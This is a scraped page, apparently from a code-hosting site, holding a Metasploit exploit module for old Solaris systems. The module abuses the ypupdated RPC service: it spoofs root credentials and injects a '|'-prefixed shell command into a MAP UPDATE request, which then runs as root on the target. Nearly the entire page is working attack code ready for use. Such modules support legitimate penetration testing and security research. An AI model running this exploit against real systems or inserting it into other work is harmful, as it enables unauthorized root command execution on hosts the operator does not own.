Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/sunrpc/ypupdated_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SunRPC910def initialize(info = {})11super(update_info(info,12'Name' => 'Solaris ypupdated Command Execution',13'Description' => %q{14This exploit targets a weakness in the way the ypupdated RPC15application uses the command shell when handling a MAP UPDATE16request. Extra commands may be launched through this command17shell, which runs as root on the remote host, by passing18commands in the format '|<command>'.1920Vulnerable systems include Solaris 2.7, 8, 9, and 10, when21ypupdated is started with the '-i' command-line option.22},23'Author' => [ 'I)ruid <druid[at]caughq.org>' ],24'License' => MSF_LICENSE,25'References' =>26[27['CVE', '1999-0209'],28['OSVDB', '11517'],29['BID', '1749'],30],31'Privileged' => true,32'Platform' => %w{ solaris unix },33'Arch' => ARCH_CMD,34'Payload' =>35{36'Space' => 1024,37'DisableNops' => true,38'Compat' =>39{40'PayloadType' => 'cmd',41'RequiredCmd' => 'generic perl telnet',42}43},44'Targets' => [ ['Automatic', { }], ],45'DefaultTarget' => 0,46'DisclosureDate' => '1994-12-12'47))4849register_options(50[51OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']),52OptInt.new('GID', [false, 'GID to emulate', 0]),53OptInt.new('UID', [false, 'UID to emulate', 0])54], self.class55)56end5758def exploit59hostname = datastore['HOSTNAME']60program = 10002861progver = 162procedure = 16364print_status('Sending PortMap request for ypupdated program')65pport = sunrpc_create('udp', program, progver)6667print_status("Sending MAP UPDATE request with command '#{payload.encoded}'")68print_status('Waiting for response...')69sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])70command = '|' + payload.encoded71msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)72sunrpc_call(procedure, msg)7374sunrpc_destroy7576print_status('No Errors, appears to have succeeded!')77rescue ::Rex::Proto::SunRPC::RPCTimeout78print_warning('Warning: ' + $!)79end80end818283